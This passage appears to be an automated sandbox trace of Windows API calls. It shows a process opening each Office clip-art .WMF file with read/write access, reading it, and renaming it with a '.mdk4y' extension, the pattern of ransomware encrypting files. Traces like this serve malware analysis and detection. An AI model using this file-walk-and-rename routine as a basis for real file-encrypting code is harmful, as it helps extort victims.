lpMultiByteStr="J0196364.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.294] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823552500000) returned 1 [0160.295] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x164c, lpOverlapped=0x0) returned 1 [0160.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823554200000) returned 1 [0160.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823554200000) returned 1 [0160.312] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.mdk4y")) returned 1 [0160.313] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.313] AreFileApisANSI () returned 1 [0160.313] GetACP () returned 0x4e4 [0160.313] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0197979.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0197979.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.313] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823554300000) returned 1 [0160.313] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9d26, lpOverlapped=0x0) returned 1 [0160.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823555800000) returned 1 [0160.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823555800000) returned 1 [0160.329] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.mdk4y")) returned 1 [0160.330] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.330] AreFileApisANSI () returned 1 [0160.330] GetACP () returned 0x4e4 [0160.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0197983.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0197983.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.331] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823556200000) returned 1 [0160.332] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x668c, lpOverlapped=0x0) returned 1 [0160.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823558500000) returned 1 [0160.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823558500000) returned 1 [0160.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.mdk4y")) returned 1 [0160.356] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.356] AreFileApisANSI () returned 1 [0160.356] GetACP () returned 0x4e4 [0160.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198016.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198016.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.356] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823558700000) returned 1 [0160.357] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x849c, lpOverlapped=0x0) returned 1 [0160.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823560900000) returned 1 [0160.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823560900000) returned 1 [0160.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.mdk4y")) returned 1 [0160.380] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.380] AreFileApisANSI () returned 1 [0160.380] GetACP () returned 0x4e4 [0160.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198020.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198020.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.380] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823561100000) returned 1 [0160.381] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5cae, lpOverlapped=0x0) returned 1 [0160.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823568700000) returned 1 [0160.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823568700000) returned 1 [0160.458] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.mdk4y")) returned 1 [0160.459] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.459] AreFileApisANSI () returned 1 [0160.459] GetACP () returned 0x4e4 [0160.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198021.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198021.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.459] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823569000000) returned 1 [0160.460] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8860, lpOverlapped=0x0) returned 1 [0160.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823570100000) returned 1 [0160.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823570100000) returned 1 [0160.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.mdk4y")) returned 1 [0160.472] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.472] AreFileApisANSI () returned 1 [0160.472] GetACP () returned 0x4e4 [0160.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198022.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198022.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.472] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823570400000) returned 1 [0160.474] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6624, lpOverlapped=0x0) returned 1 [0160.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823571900000) returned 1 [0160.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823571900000) returned 1 [0160.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.mdk4y")) returned 1 [0160.490] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.490] AreFileApisANSI () returned 1 [0160.490] GetACP () returned 0x4e4 [0160.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198025.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198025.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.491] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823572100000) returned 1 [0160.491] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3cce, lpOverlapped=0x0) returned 1 [0160.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823573100000) returned 1 [0160.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823573100000) returned 1 [0160.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.mdk4y")) returned 1 [0160.502] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.502] AreFileApisANSI () returned 1 [0160.502] GetACP () returned 0x4e4 [0160.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198102.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198102.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.503] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823573300000) returned 1 [0160.503] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6b4, lpOverlapped=0x0) returned 1 [0160.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823576300000) returned 1 [0160.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823576300000) returned 1 [0160.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.mdk4y")) returned 1 [0160.537] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.537] AreFileApisANSI () returned 1 [0160.537] GetACP () returned 0x4e4 [0160.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198113.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198113.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.537] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823576700000) returned 1 [0160.538] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa520, lpOverlapped=0x0) returned 1 [0160.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823577500000) returned 1 [0160.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823577500000) returned 1 [0160.545] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.mdk4y")) returned 1 [0160.546] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.546] AreFileApisANSI () returned 1 [0160.546] GetACP () returned 0x4e4 [0160.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198226.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198226.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.547] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823577700000) returned 1 [0160.547] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa3b2, lpOverlapped=0x0) returned 1 [0160.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823579000000) returned 1 [0160.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823579000000) returned 1 [0160.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.mdk4y")) returned 1 [0160.562] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.562] AreFileApisANSI () returned 1 [0160.562] GetACP () returned 0x4e4 [0160.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198234.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198234.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.562] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823579200000) returned 1 [0160.562] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa69e, lpOverlapped=0x0) returned 1 [0160.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823580700000) returned 1 [0160.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823580700000) returned 1 [0160.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.mdk4y")) returned 1 [0160.579] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.579] AreFileApisANSI () returned 1 [0160.579] GetACP () returned 0x4e4 [0160.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198372.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198372.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.579] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823580900000) returned 1 [0160.579] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6f9c, lpOverlapped=0x0) returned 1 [0160.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823585800000) returned 1 [0160.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823585800000) returned 1 [0160.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.mdk4y")) returned 1 [0160.630] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.630] AreFileApisANSI () returned 1 [0160.630] GetACP () returned 0x4e4 [0160.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198377.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198377.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823586200000) returned 1 [0160.632] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9d6c, lpOverlapped=0x0) returned 1 [0160.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823586900000) returned 1 [0160.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823586900000) returned 1 [0160.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.mdk4y")) returned 1 [0160.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.641] AreFileApisANSI () returned 1 [0160.641] GetACP () returned 0x4e4 [0160.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198447.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198447.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 